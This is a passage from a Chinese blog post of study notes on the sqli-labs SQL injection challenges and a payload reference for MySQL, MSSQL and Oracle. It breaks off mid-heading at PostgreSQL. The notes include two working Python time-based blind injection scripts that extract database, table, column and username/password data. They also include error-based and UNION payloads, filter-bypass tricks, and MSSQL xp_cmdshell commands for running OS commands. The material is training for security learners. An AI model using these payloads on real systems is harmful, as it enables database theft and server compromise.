闭合</li><li>‘闭合</li></ol><ul><li><h4 id="时间盲注"><a href="#时间盲注" class="headerlink" title="时间盲注"></a>时间盲注</h4></li></ul><p>等于没有回显了 不管怎么样 都是相同的界面  当时还是没太懂 其实也就是对与不对来造成不同的访问界面 从而慢慢拼接出字符 两个核心函数配合<br> <code>SLEEP(n)</code>：让 SQL 执行卡<code>n</code>秒（比如<code>SLEEP(5)</code>就是卡 5 秒）；<br><code>IF(条件, 执行1, 执行2)</code>：条件成立则执行 1，否则执行 2。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import time  # 新增：用于计算响应耗时</span><br><span class="line">a_url = &quot;http://80-d3ec6b44-9a8a-45e9-b74a-f92c243b95af.challenge.ctfplus.cn/Less-9/?id=&quot;</span><br><span class="line"></span><br><span class="line"># 核心：判断条件是否成立（时间盲注靠响应耗时）</span><br><span class="line"># 条件成立 → 执行SLEEP(3) → 响应耗时&gt;3秒；条件不成立 → 立刻返回</span><br><span class="line">def is_true(payload):</span><br><span class="line">    try:</span><br><span class="line">        start_time = time.time()  # 记录请求开始时间</span><br><span class="line">        # 超时设为5秒（大于SLEEP的3秒，避免提前超时）</span><br><span class="line">        resp = requests.get(f&quot;&#123;a_url&#125;&#123;payload&#125;&quot;, timeout=5, allow_redirects=False)</span><br><span class="line">        end_time = time.time()</span><br><span class="line">        cost_time = end_time - start_time  # 计算耗时</span><br><span class="line">        # 耗时超过3秒 → 条件成立</span><br><span class="line">        return cost_time &gt; 3</span><br><span class="line">    except requests.exceptions.Timeout:</span><br><span class="line">        # 超时也说明条件成立（SLEEP导致超时）</span><br><span class="line">        return True</span><br><span class="line">    except Exception as e:</span><br><span class="line">        print(f&quot;请求出错: &#123;e&#125;&quot;)</span><br><span class="line">        return False</span><br><span class="line"></span><br><span class="line"># 获取目标字符串长度（时间盲注版）</span><br><span class="line">def get_length(name):</span><br><span class="line">    for len_num in range(1, 100):</span><br><span class="line">        # 核心修改：IF(长度等于len_num, SLEEP(3), 0)</span><br><span class="line">        payload = f&quot;1&#x27; and IF(length((&#123;name&#125;))=&#123;len_num&#125;, SLEEP(3), 0)--+&quot;</span><br><span class="line">        if is_true(payload):</span><br><span class="line">            print(f&quot;[&#123;name&#125;] 长度: &#123;len_num&#125;&quot;)</span><br><span class="line">            return len_num</span><br><span class="line">    return 0</span><br><span class="line"></span><br><span class="line"># 逐字符爆破目标字符串（时间盲注版）</span><br><span class="line">def get_string(name, len_num):</span><br><span class="line">    result = &quot;&quot;</span><br><span class="line">    print(f&quot;开始爆破 [&#123;name&#125;]...&quot;)</span><br><span class="line">    for i in range(1, len_num + 1):</span><br><span class="line">        # ASCII范围32-126（可打印字符）</span><br><span class="line">        for asc in range(32, 127):</span><br><span class="line">            # 核心修改：IF(字符的ASCII等于asc, SLEEP(3), 0)</span><br><span class="line">            payload = f&quot;1&#x27; and IF(ascii(substr((&#123;name&#125;),&#123;i&#125;,1))=&#123;asc&#125;, SLEEP(3), 0)--+&quot;</span><br><span class="line">            if is_true(payload):</span><br><span class="line">                result += chr(asc)</span><br><span class="line">                # 实时打印进度</span><br><span class="line">                print(f&quot;\r当前进度: &#123;result&#125;&quot;, end=&quot;&quot;)</span><br><span class="line">                break</span><br><span class="line">    print()  # 换行</span><br><span class="line">    return result</span><br><span class="line"></span><br><span class="line"># 主程序入口</span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    # ========== 1. 爆破数据库名 ==========</span><br><span class="line">    db_len = get_length(&quot;database()&quot;)</span><br><span class="line">    if db_len == 0:</span><br><span class="line">        print(&quot;数据库名长度爆破失败！&quot;)</span><br><span class="line">        exit()</span><br><span class="line">    db_name = get_string(&quot;database()&quot;, db_len)</span><br><span class="line">    print(f&quot;✅ 数据库名: &#123;db_name&#125;&quot;)</span><br><span class="line"></span><br><span class="line">    # ========== 2. 爆破当前库的所有表名 ==========</span><br><span class="line">    tables_sql = f&quot;select group_concat(table_name) from information_schema.tables where table_schema=&#x27;&#123;db_name&#125;&#x27;&quot;</span><br><span class="line">    tables_len = get_length(tables_sql)</span><br><span class="line">    if tables_len == 0:</span><br><span class="line">        print(&quot;表名长度爆破失败！&quot;)</span><br><span class="line">        exit()</span><br><span class="line">    tables = get_string(tables_sql, tables_len)</span><br><span class="line">    print(f&quot;✅ 所有表名: &#123;tables&#125;&quot;)</span><br><span class="line">    # 提取目标表（优先users，无则取第一个表）</span><br><span class="line">    table_list = tables.split(&#x27;,&#x27;)</span><br><span class="line">    target_table = &quot;users&quot; if &quot;users&quot; in table_list else table_list[0]</span><br><span class="line">    print(f&quot;🔍 选定目标表: &#123;target_table&#125;&quot;)</span><br><span class="line"></span><br><span class="line">    # ========== 3. 爆破目标表的所有列名 ==========</span><br><span class="line">    cols_sql = f&quot;select group_concat(column_name) from information_schema.columns where table_schema=&#x27;&#123;db_name&#125;&#x27; and table_name=&#x27;&#123;target_table&#125;&#x27;&quot;</span><br><span class="line">    cols_len = get_length(cols_sql)</span><br><span class="line">    if cols_len == 0:</span><br><span class="line">        print(&quot;列名长度爆破失败！&quot;)</span><br><span class="line">        exit()</span><br><span class="line">    cols = get_string(cols_sql, cols_len)</span><br><span class="line">    print(f&quot;✅ 目标表列名: &#123;cols&#125;&quot;)</span><br><span class="line">    # 提取目标列（优先username/password，无则取前两列）</span><br><span class="line">    col_list = cols.split(&#x27;,&#x27;)</span><br><span class="line">    target_cols = [c for c in [&quot;username&quot;, &quot;password&quot;] if c in col_list]</span><br><span class="line">    if not target_cols:</span><br><span class="line">        target_cols = col_list[:2]</span><br><span class="line">    print(f&quot;🔍 选定目标列: &#123;target_cols&#125;&quot;)</span><br><span class="line"></span><br><span class="line">    # ========== 4. 爆破目标列的数据 ==========</span><br><span class="line">    for col in target_cols:</span><br><span class="line">        data_sql = f&quot;select group_concat(&#123;col&#125;) from &#123;target_table&#125;&quot;</span><br><span class="line">        data_len = get_length(data_sql)</span><br><span class="line">        if data_len == 0:</span><br><span class="line">            print(f&quot;&#123;col&#125; 数据长度爆破失败！&quot;)</span><br><span class="line">            continue</span><br><span class="line">        data = get_string(data_sql, data_len)</span><br><span class="line">        print(f&quot;✅ &#123;col&#125; 数据: &#123;data&#125;&quot;)</span><br></pre></td></tr></table></figure><ol start="10"><li>“闭合</li><li>‘正常注入 应该是 类似于select * from users where username&#x3D;’’ and password&#x3D;’’这样子的验证 把后面注释了 所以密码随便输入</li><li>“)闭合</li><li>没有回显了 可以考虑时间盲注 我报错做的 ‘)闭合</li><li>“闭合</li><li>报错也没法了 那就时间盲注 抓包看到发的是post请求</li></ol>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import time  # 用于计算响应耗时</span><br><span class="line"></span><br><span class="line"># 基础URL（去掉原GET的?id=，因为POST参数在表单里）</span><br><span class="line">a_url = &quot;http://80-ce1a9e65-c341-47bd-b72c-c43dc97f3113.challenge.ctfplus.cn/Less-15/&quot;</span><br><span class="line"></span><br><span class="line"># 核心：判断条件是否成立（时间盲注靠响应耗时）</span><br><span class="line"># 条件成立 → 执行SLEEP(3) → 响应耗时&gt;3秒；条件不成立 → 立刻返回</span><br><span class="line">def is_true(payload):</span><br><span class="line">    try:</span><br><span class="line">        # 构造POST表单数据：uname=注入payload，submit=Submit（必填）</span><br><span class="line">        post_data = &#123;</span><br><span class="line">            &quot;uname&quot;: payload,</span><br><span class="line">            &quot;passwd&quot;: &quot;1&quot;,# 原id参数改为uname</span><br><span class="line">            &quot;submit&quot;: &quot;Submit&quot;  # 必须携带的submit参数</span><br><span class="line">        &#125;</span><br><span class="line">        start_time = time.time()  # 记录请求开始时间</span><br><span class="line">        # 发送POST请求，超时设为5秒（大于SLEEP的3秒）</span><br><span class="line">        resp = requests.post(</span><br><span class="line">            a_url,</span><br><span class="line">            data=post_data,  # 传递表单参数</span><br><span class="line">            timeout=5,</span><br><span class="line">            allow_redirects=False</span><br><span class="line">        )</span><br><span class="line">        end_time = time.time()</span><br><span class="line">        cost_time = end_time - start_time  # 计算耗时</span><br><span class="line">        # 耗时超过3秒 → 条件成立</span><br><span class="line">        return cost_time &gt; 3</span><br><span class="line">    except requests.exceptions.Timeout:</span><br><span class="line">        # 超时也说明条件成立（SLEEP导致超时）</span><br><span class="line">        return True</span><br><span class="line">    except Exception as e:</span><br><span class="line">        print(f&quot;请求出错: &#123;e&#125;&quot;)</span><br><span class="line">        return False</span><br><span class="line"></span><br><span class="line"># 获取目标字符串长度（时间盲注版，payload构造逻辑不变）</span><br><span class="line">def get_length(name):</span><br><span class="line">    for len_num in range(1, 100):</span><br><span class="line">        # payload仍为注入语句，最终传给uname字段</span><br><span class="line">        payload = f&quot;1&#x27; and IF(length((&#123;name&#125;))=&#123;len_num&#125;, SLEEP(3), 0)--+&quot;</span><br><span class="line">        if is_true(payload):</span><br><span class="line">            print(f&quot;[&#123;name&#125;] 长度: &#123;len_num&#125;&quot;)</span><br><span class="line">            return len_num</span><br><span class="line">    return 0</span><br><span class="line"></span><br><span class="line"># 逐字符爆破目标字符串（时间盲注版，payload构造逻辑不变）</span><br><span class="line">def get_string(name, len_num):</span><br><span class="line">    result = &quot;&quot;</span><br><span class="line">    print(f&quot;开始爆破 [&#123;name&#125;]...&quot;)</span><br><span class="line">    for i in range(1, len_num + 1):</span><br><span class="line">        # ASCII范围32-126（可打印字符）</span><br><span class="line">        for asc in range(32, 127):</span><br><span class="line">            payload = f&quot;1&#x27; and IF(ascii(substr((&#123;name&#125;),&#123;i&#125;,1))=&#123;asc&#125;, SLEEP(3), 0)--+&quot;</span><br><span class="line">            if is_true(payload):</span><br><span class="line">                result += chr(asc)</span><br><span class="line">                # 实时打印进度</span><br><span class="line">                print(f&quot;\r当前进度: &#123;result&#125;&quot;, end=&quot;&quot;)</span><br><span class="line">                break</span><br><span class="line">    print()  # 换行</span><br><span class="line">    return result</span><br><span class="line"></span><br><span class="line"># 主程序入口</span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    # ========== 1. 爆破数据库名 ==========</span><br><span class="line">    db_len = get_length(&quot;database()&quot;)</span><br><span class="line">    if db_len == 0:</span><br><span class="line">        print(&quot;数据库名长度爆破失败！&quot;)</span><br><span class="line">        exit()</span><br><span class="line">    db_name = get_string(&quot;database()&quot;, db_len)</span><br><span class="line">    print(f&quot;✅ 数据库名: &#123;db_name&#125;&quot;)</span><br><span class="line"></span><br><span class="line">    # ========== 2. 爆破当前库的所有表名 ==========</span><br><span class="line">    tables_sql = f&quot;select group_concat(table_name) from information_schema.tables where table_schema=&#x27;&#123;db_name&#125;&#x27;&quot;</span><br><span class="line">    tables_len = get_length(tables_sql)</span><br><span class="line">    if tables_len == 0:</span><br><span class="line">        print(&quot;表名长度爆破失败！&quot;)</span><br><span class="line">        exit()</span><br><span class="line">    tables = get_string(tables_sql, tables_len)</span><br><span class="line">    print(f&quot;✅ 所有表名: &#123;tables&#125;&quot;)</span><br><span class="line">    # 提取目标表（优先users，无则取第一个表）</span><br><span class="line">    table_list = tables.split(&#x27;,&#x27;)</span><br><span class="line">    target_table = &quot;users&quot; if &quot;users&quot; in table_list else table_list[0]</span><br><span class="line">    print(f&quot;🔍 选定目标表: &#123;target_table&#125;&quot;)</span><br><span class="line"></span><br><span class="line">    # ========== 3. 爆破目标表的所有列名 ==========</span><br><span class="line">    cols_sql = f&quot;select group_concat(column_name) from information_schema.columns where table_schema=&#x27;&#123;db_name&#125;&#x27; and table_name=&#x27;&#123;target_table&#125;&#x27;&quot;</span><br><span class="line">    cols_len = get_length(cols_sql)</span><br><span class="line">    if cols_len == 0:</span><br><span class="line">        print(&quot;列名长度爆破失败！&quot;)</span><br><span class="line">        exit()</span><br><span class="line">    cols = get_string(cols_sql, cols_len)</span><br><span class="line">    print(f&quot;✅ 目标表列名: &#123;cols&#125;&quot;)</span><br><span class="line">    # 提取目标列（优先username/password，无则取前两列）</span><br><span class="line">    col_list = cols.split(&#x27;,&#x27;)</span><br><span class="line">    target_cols = [c for c in [&quot;username&quot;, &quot;password&quot;] if c in col_list]</span><br><span class="line">    if not target_cols:</span><br><span class="line">        target_cols = col_list[:2]</span><br><span class="line">    print(f&quot;🔍 选定目标列: &#123;target_cols&#125;&quot;)</span><br><span class="line"></span><br><span class="line">    # ========== 4. 爆破目标列的数据 ==========</span><br><span class="line">    for col in target_cols:</span><br><span class="line">        data_sql = f&quot;select group_concat(&#123;col&#125;) from &#123;target_table&#125;&quot;</span><br><span class="line">        data_len = get_length(data_sql)</span><br><span class="line">        if data_len == 0:</span><br><span class="line">            print(f&quot;&#123;col&#125; 数据长度爆破失败！&quot;)</span><br><span class="line">            continue</span><br><span class="line">        data = get_string(data_sql, data_len)</span><br><span class="line">        print(f&quot;✅ &#123;col&#125; 数据: &#123;data&#125;&quot;)</span><br></pre></td></tr></table></figure><p>改成post即可<br>16. “)闭合 时间盲注 上面的脚本就可以<br>17. password里面 单引号闭合 报错注入<br>18. 用user-agent进行报错注入 看源码 还需要填上两个值 并且加上一个括号重新闭合 所以常规的报错注入不行 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; and extractvalue(1,concat(0x7e,(select database()),0x7e)) and &#x27;1&#x27;=&#x27;1</span><br></pre></td></tr></table></figure><ol start="19"><li>referers注入</li><li>cookie注入 </li><li>cookie注入 base64编码 注释符号不能用了 就用’1’&#x3D;’1  来构造恒真条件 让and后面的执行但是没有意义<br>闭合语法 + 构造恒真条件 后面的代码执行但无意义</li><li>“闭合</li><li>‘闭合 正常查询 加上’1’&#x3D;’1闭合即可</li><li>依靠密码修改的后端漏洞 修改密码用户名那里’可以闭合 也就是可以通过提前闭合 比如提前知晓一个用户名是admin 自己设置一个用户名为admin’ 闭合之后 后面注释掉现有密码的检验 让他失效 也就是admin’#11111（随便加的1 不然感觉太明显了 其实也很明显）最后修改密码 实则修改的是admin的密码 有了密码登陆即可（下来我会去寻找其他二次注入的题）</li><li>and or 不能用了 可以用逻辑运算符&amp;&amp;，||代替 至于库里面的or 双写绕过即可 这里其他编码也不行</li></ol><p><strong>到这里<br>基础的Mysql靶场前25关打完了 但是只局限于MySQL的数据库类型 下面结合博客上面的文章以及ivory学长的文章链接补充其他的数据库类型以及更多的绕过方法</strong></p><hr><h3 id="判断数据库类型的方法"><a href="#判断数据库类型的方法" class="headerlink" title="判断数据库类型的方法"></a>判断数据库类型的方法</h3><ol><li>基于报错信息的识别 前提是开启了报错提示 不过这个判断我觉得很简单 所以我放在首位<br><img src="/images/78.png"></li><li>字符串连接符测试 这个应该是最实用的 检测也很快<br><strong><code>+</code> (加号) -&gt; MSSQL</strong></li></ol><ul><li><p><strong>判定逻辑</strong>：MSSQL 唯一使用 <code>+</code> 进行字符串连接。且因强类型限制，<code>1+&#39;a&#39;</code> 会触发类型转换错误。</p></li><li><p><strong><code>concat(a,b)</code> 或 空格 -&gt; MySQL</strong></p></li><li><p><strong>判定逻辑</strong>：MySQL 支持 <code>concat</code> 函数及隐式连接<code>&#39;a&#39; &#39;b&#39;</code> 等同于 <code>&#39;ab&#39;</code>）。</p></li><li><p><code>||</code> (管道符) -&gt; Oracle &#x2F; PGSQL &#x2F; SQLite<br>判定逻辑：标准 SQL 连接符。<br>二次区分 (FROM 子句)：</p></li><li><p>提交 UNION SELECT 1。若报错提示缺少 FROM，则为 Oracle；若成功，则为 PGSQL&#x2F;SQLite。</p></li></ul><ol start="3"><li>基于时间的盲注识别</li></ol><ul><li><strong>MySQL</strong>: <code>id=1 AND sleep(5)</code></li><li><strong>PostgreSQL</strong>: <code>id=1; SELECT pg_sleep(5)</code></li><li><strong>MSSQL</strong>: <code>id=1 WAITFOR DELAY &#39;0:0:5&#39;</code></li><li><strong>Oracle</strong>: <code>id=1 AND 1=dbms_pipe.receive_message(&#39;RDS&#39;, 5)</code></li><li><strong>SQLite</strong>: <code>id=1 AND randomblob(100000000)</code> (计算耗时模拟)</li></ul><h3 id="系统库详解"><a href="#系统库详解" class="headerlink" title="系统库详解"></a>系统库详解</h3><h4 id="1-MySQL-MariaDB-Web-环境主流"><a href="#1-MySQL-MariaDB-Web-环境主流" class="headerlink" title="1. MySQL &#x2F; MariaDB (Web 环境主流)"></a>1. MySQL &#x2F; MariaDB (Web 环境主流)</h4><h5 id="系统库架构"><a href="#系统库架构" class="headerlink" title="系统库架构"></a>系统库架构</h5><ul><li><p><strong><code>information_schema</code></strong> (5.0+): 标准元数据库。</p><ul><li><p><code>schemata</code>: 存储数据库名。</p></li><li><p><code>tables</code>: 存储表名及归属库。</p></li><li><p><code>columns</code>: 存储列名。</p></li></ul></li><li><p><strong><code>mysql</code></strong>: 存储用户权限及 UDF。</p><ul><li><code>mysql.user</code>: 提取哈希。</li></ul></li><li><p><strong><code>sys</code></strong> (5.7+): <strong>WAF 绕过关键点</strong>。当 <code>information_schema</code> 被过滤时，查询 <code>sys.schema_table_statistics</code> 或 <code>sys.x$schema_flattened_keys</code> 可获取表名信息。<br>MySQL 的核心在于利用 <code>group_concat</code> 将多行数据合并，突破单行回显限制。<br><strong>A. 爆所有数据库名</strong></p></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, group_concat(schema_name), 3 </span><br><span class="line">FROM information_schema.schemata</span><br></pre></td></tr></table></figure><p><strong>B. 爆当前库的所有表名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, group_concat(table_name), 3 </span><br><span class="line">FROM information_schema.tables </span><br><span class="line">WHERE table_schema=database()</span><br></pre></td></tr></table></figure><p><strong>C. 爆指定表 (e.g., ‘users’) 的所有列名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, group_concat(column_name), 3 </span><br><span class="line">FROM information_schema.columns </span><br><span class="line">WHERE table_name=&#x27;users&#x27; AND table_schema=database()</span><br></pre></td></tr></table></figure><p><strong>替代方案：Sys 库绕过 (当 information_schema 被禁)</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, group_concat(table_name), 3 </span><br><span class="line">FROM sys.schema_table_statistics </span><br><span class="line">WHERE table_schema=database()</span><br></pre></td></tr></table></figure><p>这个替代方案重点记一下 学长考核的时候问到过 而且information_schema被ban很常见的  下面总结的时候详细写写</p><h4 id="2-SQL-Server-MSSQL"><a href="#2-SQL-Server-MSSQL" class="headerlink" title="2. SQL Server (MSSQL)"></a>2. SQL Server (MSSQL)</h4><h5 id="2-1-系统库架构"><a href="#2-1-系统库架构" class="headerlink" title="2.1 系统库架构"></a>2.1 系统库架构</h5><ul><li><p><strong><code>master</code></strong>: 系统核心库。</p><ul><li><code>master..sysdatabases</code>: 数据库列表。</li></ul></li><li><p><strong><code>sysobjects</code></strong>: 当前库的对象表（xtype&#x3D;’U’ 代表用户表）。</p></li><li><p><strong><code>syscolumns</code></strong>: 当前库的列定义。</p></li></ul><h5 id="2-2-Payload"><a href="#2-2-Payload" class="headerlink" title="2.2 Payload"></a>2.2 Payload</h5><p>MSSQL 早期版本不支持 <code>group_concat</code>，CTF 中常用 <code>FOR XML PATH(&#39;&#39;)</code> 技术进行数据聚合。</p><p><strong>A. 爆所有数据库名 (FOR XML PATH 聚合)</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/* 将多行数据库名合并为一行显示 */</span><br><span class="line">UNION SELECT 1, (SELECT name + &#x27;,&#x27; FROM master..sysdatabases FOR XML PATH(&#x27;&#x27;)), 3</span><br></pre></td></tr></table></figure><p><strong>B. 爆当前库的所有表名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, (SELECT name + &#x27;,&#x27; FROM sysobjects WHERE xtype=&#x27;U&#x27; FOR XML PATH(&#x27;&#x27;)), 3</span><br></pre></td></tr></table></figure><p><strong>C. 爆指定表 (e.g., ‘users’) 的所有列名</strong> 需要联合 <code>sysobjects</code> 和 <code>syscolumns</code>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, (</span><br><span class="line">    SELECT name + &#x27;,&#x27; FROM syscolumns WHERE id = (</span><br><span class="line">        SELECT id FROM sysobjects WHERE name = &#x27;users&#x27;</span><br><span class="line">    ) FOR XML PATH(&#x27;&#x27;)</span><br><span class="line">), 3</span><br></pre></td></tr></table></figure><p><strong>D. 提权 (XP_CMDSHELL)</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/* 启用组件并执行命令 */</span><br><span class="line">EXEC sp_configure &#x27;show advanced options&#x27;, 1; RECONFIGURE;</span><br><span class="line">EXEC sp_configure &#x27;xp_cmdshell&#x27;, 1; RECONFIGURE;</span><br><span class="line">EXEC xp_cmdshell &#x27;whoami&#x27;;</span><br></pre></td></tr></table></figure><ul><li><code>EXEC</code>: 执行（Execute）。</li><li><code>sp_configure</code>: 系统自带的一个功能，用来修改服务器配置。</li><li><code>&#39;show advanced options&#39;, 1</code>: 把“显示高级选项”这个开关设为 <code>1</code>（开启）。</li><li><code>RECONFIGURE</code>: <strong>保存并立即生效</strong>（不加这个，修改只是暂存，不会生效）<br><code>xp_cmdshell</code> 是 MSSQL 里一个非常强大的扩展功能。它的作用是<strong>让数据库去指挥 Windows 操作系统执行 DOS 命令</strong><br>这个数据库的提权很特别 查了一下<br><code>xp_cmdshell</code> 是 <strong>MSSQL (SQL Server)</strong> 独有的特性<br>居然能直接进行执行系统命令 很神奇</li></ul><h4 id="3-Oracle-Database"><a href="#3-Oracle-Database" class="headerlink" title="3. Oracle Database"></a>3. Oracle Database</h4><h5 id="3-1-系统视图架构"><a href="#3-1-系统视图架构" class="headerlink" title="3.1 系统视图架构"></a>3.1 系统视图架构</h5><ul><li><strong>注意</strong>: Oracle 是单实例多用户架构，Schema 等同于用户。<br>这个有点特别 从下面也能看出来<br><strong>User 与 Schema 是一一对应的。</strong> 当你创建一个 User 时，系统隐式地为该用户创建了一个同名的 Schema。用户 A 创建的表，默认存储在 Schema A 中</li><li><strong><code>USER_TABLES</code></strong>: 当前用户的表。</li><li><strong><code>all_tables</code> &#x2F; &#96;all_users</strong>: 当前用户可访问的所有表。</li><li><code>dba_tables</code> &#x2F; <code>dba_users</code>:显示整个数据库的所有信息，包括管理员隐藏的 （需要权限）</li><li><strong><code>USER_TAB_COLUMNS</code></strong>: 当前用户的列信息。</li><li><strong><code>v$version</code></strong>: 版本信息。</li></ul><h5 id="3-2-Payload"><a href="#3-2-Payload" class="headerlink" title="3.2 Payload"></a>3.2 Payload</h5><p>Oracle 要求数据类型严格匹配（数字对数字，字符对字符），常用 <code>NULL</code> 填充。聚合函数为 <code>LISTAGG</code> (11gR2+) 或 <code>WMSYS.WM_CONCAT</code> (旧版本)。</p><p><strong>A. 爆当前用户的表名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/* 使用 LISTAGG 聚合 */</span><br><span class="line">UNION SELECT 1, (SELECT LISTAGG(table_name, &#x27;,&#x27;) WITHIN GROUP (ORDER BY table_name) FROM user_tables), NULL FROM dual</span><br></pre></td></tr></table></figure><p><strong>B. 爆指定表 (e.g., ‘ADMIN’) 的列名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, (SELECT LISTAGG(column_name, &#x27;,&#x27;) WITHIN GROUP (ORDER BY column_name) FROM user_tab_columns WHERE table_name=&#x27;ADMIN&#x27;), NULL FROM dual</span><br></pre></td></tr></table></figure><p><strong>C. 报错注入 (CTXSYS)</strong> 当无法使用 UNION 时使用。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AND 1=ctxsys.drithsx.sn(1, (SELECT banner FROM v$version))</span><br></pre></td></tr></table></figure><h4 id="4-PostgreSQL-PGSQL"><a href="#4-PostgreSQL-PGSQL" class="headerlink" title="4. PostgreSQL (PGSQL)"></a>4. PostgreSQL (PGSQL)</h4><h5 id="4-1-系统模式架构"><a href="#4-1-系统模式架构" class="headerlink" title="4.1 系统模式架构"></a>4.1 系统模式架构</h5><ul><li><p><strong><code>pg_catalog</code></strong>: 系统 Schema。</p></li><li><p><strong><code>pg_database</code></strong>: 